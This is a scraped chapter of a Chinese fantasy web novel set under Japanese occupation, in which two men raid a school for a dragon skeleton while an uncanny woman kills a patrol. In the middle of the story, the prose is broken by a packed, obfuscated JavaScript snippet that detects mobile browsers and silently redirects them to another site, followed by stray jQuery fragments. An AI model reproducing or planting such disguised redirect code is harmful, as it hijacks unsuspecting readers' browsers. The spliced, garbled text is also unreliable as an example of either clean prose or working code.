默认冷灰
24号文字
方正启体

7. 夜下血蔷薇

作者:却若本书字数:K更新时间:
    周书云如约来到铁路附近的招待所。


    “你好,请问拉姆先生住在哪个房间?”


    坐在柜台内的大姐刚吃过饭,正在剔牙,听见周书云的声音从上方传来,抬头瞥了他一眼,朝旁边啐出嘴里卡牙缝的碎菜:“哪个拉姆?”


    “戴个墨镜。”周书云朝自己脸上比划。


    大姐埋头翻翻开登记簿:“啥时候住进来的?”


    周书云被问住了,不得已只好说:“至少八号前了。”


    “三楼,319.”


    “谢谢。”


    周书云飞似的三两阶并做一步奔上楼梯,来到319门前。他深呼吸一口,平了平气息,这才抬起手敲响黄色的木门。


    等了片刻里面无人应,他又去一楼前台处问,得知拉姆并没有退房才重新爬回三楼,站在319房门旁边等。


    319在走廊最端处,靠里,相对比较清静,与对门320之间正好有扇窗户。窗户位于大楼侧面,不临街,从这里探头看出去,底下是隔壁家属院的大门,不时便有人进出。


    窗开着,大风吹进走廊,又添几分海的咸腥。好在倒也凉爽,便不舍得将窗户关起来,仍由它吹。此时天也黑了,大姐提着煤油灯走上来,挂在墙壁上。靠着窗户的周书云回头看了一眼,又再次望向窗外,静静等着拉姆。


    拉姆回来时,繁星已是悬天一片,有些晚了。


    周书云听见脚步声转头看去,见是他,立刻站直身体:“这么晚啊?”


    “嗯,去办了点事。”


    昏黄的煤油灯下,拉姆慢慢走过来,走廊上回响着他的脚步声。他绑在脑后的头发有些毛乱,衣服从上往下的两颗纽扣敞着,漏出修长的脖子。这副面貌似乎与他从容的气质不符,像是雅致的墨竹图上添了艳红的一笔云,实在格格不入。周书云的眉毛抬了抬,意味深长地盯着他打量起来。


    “你去哪儿了?”他的口气里略带几分调侃。


    拉姆掏出钥匙打开门,先一步进去,等周书云也进来,才关上门,往里走:“见了位旧识。”


    他开门的动作太过行云流水,让周书云不禁有了狐疑:“你是真瞎还是装的?我看你怎么好像一点都不像个瞎子。”


    门关上,房间里便仅剩下从窗户照进来的月光,只明亮了房间那一边。周书云与拉姆都站在黑暗里,谁也没有继续往里走。


    “船已经准备好了吗?”拉姆问。


    “随时可以出发,我就是来和你说这事的。”周书云拿起桌上的火柴盒,拇指往里推开,取出一根来划亮,点燃了煤油灯,“你之前要我帮什么忙?”


    拉姆走到床边上,坐下:“再等等。”


    周书云提起煤油灯靠近他的脸,弯腰左看一看,右看一看,说道:“我之前以为你是个正经人,没想到也会找乐子。”他扯了扯拉姆敞开的衣襟,“你去见的旧识,是个女人吧。”


    拉姆这才注意到自己的衣衫不整,不慌不忙抬起手系扣子:“是个女人。”


    他的双手正好在煤油灯下,周书云无意间垂眼一瞥,正准备调侃的话便硬生生憋了回去,脸上的笑也随之僵住:“你受伤了?!手上的污渍……是血?”


    拉姆的左手背上有块颜色,在火光之下虽不见鲜艳,却也十分醒目——正是血。


    “已经痊愈了。”拉姆站起身,走向窗户边的墙角。那里放置着一个木架,架上的盆子里留有浅浅的水。


    拉姆洗干净手,用挂在横木上的毛巾擦去水。


    “拉姆,你到底是什么人?”周书云总算问了,“即知道龙,还知道归墟。眼睛看不见,行动却根本不像个瞎子。”


    拉姆站在月光里,背对着周书云:“时辰差不多了,我们走吧。”


    周书云有些失望,但也没有继续逼问,其一是答案未必是真的,其二是答案他未必能承受。


    “去哪儿?”


    “水产学校。”


    终于……


    “走!”


    龙骨的展出已于大半月前结束了,水产学校的人将其收回教学楼,封存在装有福尔马林的玻璃罐中,以便日后研究。


    至于龙肉,从那天之后便再也没出现过。


    守门的保安坐在门卫室里,点了一盏煤油灯,伏案奋笔疾书。他若是抬起头来朝窗户外看一眼,便能看见两道鬼鬼祟祟的身影放矮身形,贴着窗户下的墙壁潜进去。


    可他没有。


    究其原因,是他不必如此。


    在龙骨收回来后,日本人便安排了军队巡逻队,昼夜在学校里走动,为的是要守住龙骨,不让别人偷去。


    有日军在,哪个不要命的敢进来?


    偏偏就有两个。


    “进是进来了,可我们去哪儿找龙骨?”周书云悄声问。


    他们两人躲在花坛里,日军的两只巡逻队背着刺刀正好在他们眼前交臂而过。月光下,人影斜长,皮靴的声音在寂静的夜里显得尤为响亮。


    拉姆解开立领的纽扣,从衣服里勾出一根挂在他脖子上的红线。随着红线被全部拉出,其上系着的一只铃铛便泠泠作响。周书云头皮一麻,浑身的汗毛都立了起来。


    日军听见铃铛声,猛地架好刺刀,一点一点朝他们藏身的地方走来。


    “请问……”


    山雨欲来之际,日军身后传来一道宛如清泉细雨的女声,轻言软语,十分妩媚。


    “诸位可有见过一位戴墨镜的男人?个子高高的,卷头发。”


    日军转身,见来的是位美丽女子,立刻放松戒心,收起刺刀,脸上骤然笑开了花。


    月光照在她红色旗袍上,勾勒出窈窕婀娜的身姿。如玉一般白皙透亮的皮肤仿佛泛起了一层光,像她身上蒙的薄纱,明明看清了面容的,可不禁令人惋惜看得还不够真切。


    “何だ、女か。”


    “嗯?”女人笑意盈盈的,即使没有听懂也不急,“没有见过么?”


    “何しにきた?”


    领头的日本兵朝女人走近两步,却也不敢贸然上前。想来他也觉得奇怪,怎么会有女人半夜来学校,定是有猫腻。


    女人索性不搭理他了,向四周环顾着,抬起右手竖在唇边,喊道:“先生,您在吗?”


    虽说是喊,声音却不算大。


    “動くな!手を上げろ!”


    “てめぇ!何しにきた!”领头的日本兵被激怒,亮出刺刀对准女人,话音也高亢许多,“竜骨を盗みにきたか?!”


    其他的日本兵听见队长这么喊,也立刻亮出刺刀将女人围在中间。


    女人生得实在貌美,盈盈一握的腰身、旗袍缝隙里若隐若现的纤长玉腿,若不是肩负守护龙骨的重任,说不定还能快活一回。直勾勾盯着她的目光里藏着一抹下流的光。她优雅环顾,眼神一下一下落在日本兵的脸上,抬起柳枝般柔软的手臂抚上盘在后脑的发髻,眉目唇角皆是勾着笑,风情又优雅。


    她微微张开嘴,舌头舔过侧边长长的尖牙:“我都不急,你们倒还急了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248780|197901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    此时,周书云已然缓过神来,拧紧眉,踟蹰着要不要出去救她。救,偷龙骨一事定会败露。不救,他又无法眼睁睁看着她被鬼子欺辱。


    道德的天秤,一旦将什么放上去了,那便必然是重要之物。


    “怎么办?”周书云实在选不出来,只好转头求助拉姆,“鬼子肯定不会放过那位姑娘。我见过太多太多了……”


    太多太多的人死在鬼子的刀口下,他想救,可当带血的利刃朝他指来时,又不禁心生退却。最后只能假借写稿,逃避血淋淋的现实。


    他是个哑炮。


    拉姆平静地取下墨镜,戴在周书云眼睛上:“她是来帮忙的。”


    周书云下意识躲闪一下,最终还是仍由拉姆戴上了:“你这是……要做什么?”


    “你还是别看为好。”


    夜晚中的校园已是足够暗了,再叠上一层几乎不透光的墨镜,便是如眼睛被人用手蒙住一般,连身旁的拉姆都看不见了。他颤抖着抬起双手放在墨镜上,想摘下来,可就是一瞬的迟疑,让他屈服于恐惧下,再不敢动。


    预想中女子的哭喊求饶没有出现,惨叫的声音刚从喉咙深处涌上来便戛然而止,皮靴在地面上发出一阵短暂的慌乱声后,世界便安静了。唯有蝉虫嘶鸣宣告着时间在流逝。


    周书云感觉到身旁的拉姆站起了身,便也想取下墨镜看看发生了什么事。然而他依旧有些不忍,便静静闭上双眼,慢慢将墨镜往上推,忐忑地睁开一只眼。


    夜下,只有女人一袭红裙迎立星河下,拿着手帕端庄地擦擦嘴。


    “先生。”女人看见拉姆,于是出声唤他。


    惊诧不已的周书云情不自禁站起身,揭下墨镜呆呆看着倒在地上没有气息的日军。


    地上日军十六人,是两只巡逻的小队。他们个个拿着刺刀背着枪,却连反应都没来得及,就全数躺下了,是死是活不知道。


    “这位便是周先生了吧?”女人看向周书云,微微笑道,“您好,希望您没看见什么恐怖的事。”


    周书云抬起眼看向站在日军包围中间的女人,不禁后背发凉,只觉得她那笑颜如花的脸在红色旗袍的衬托下,透着无法言说的阴森。


    “拉、拉姆。”周书云快步跟上拉姆,躲在他身后。即便眼前这个男人浑身是迷,此刻他也不得不依赖他。


    女人将手中沾了血的绣花帕子收在右边侧腰的衣缝处,对周书云笑道:“周先生不必害怕,我……也是中国人,不会害您的。”


    周书云鼓气勇气问:“你、你到底是什么人?”


    “您可以叫我阴女。”


    “哪、哪个yin?”


    阴女嗤地笑起来,上前几步将脸凑近周书云,说:“阴魂不散的阴。”


    拉姆取下周书云额头上的墨镜,给自己戴好:“我和周先生去收龙骨,麻烦你放哨了。”


    “您放心。”阴女取下挂在拉姆胸前的铃铛,绕在自己左手腕上。


    周书云贴着拉姆朝教学楼走去,不时回头看看阴女,心中对她的惧怕依然不减:“她对那些日本鬼子做了什么?”


    “周先生。”


    “嗯?”


    “若你还打算活命,就不要再问了。”


    周书云从阴女身上收回目光默默看向拉姆,决定不再追问:“只要你是真心带龙骨回龙穴,我就信你。”


    “龙骨留在陆地,会招来灾祸。”


    “还有什么比现在更大的灾祸吗……”周书云小声嘟囔。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)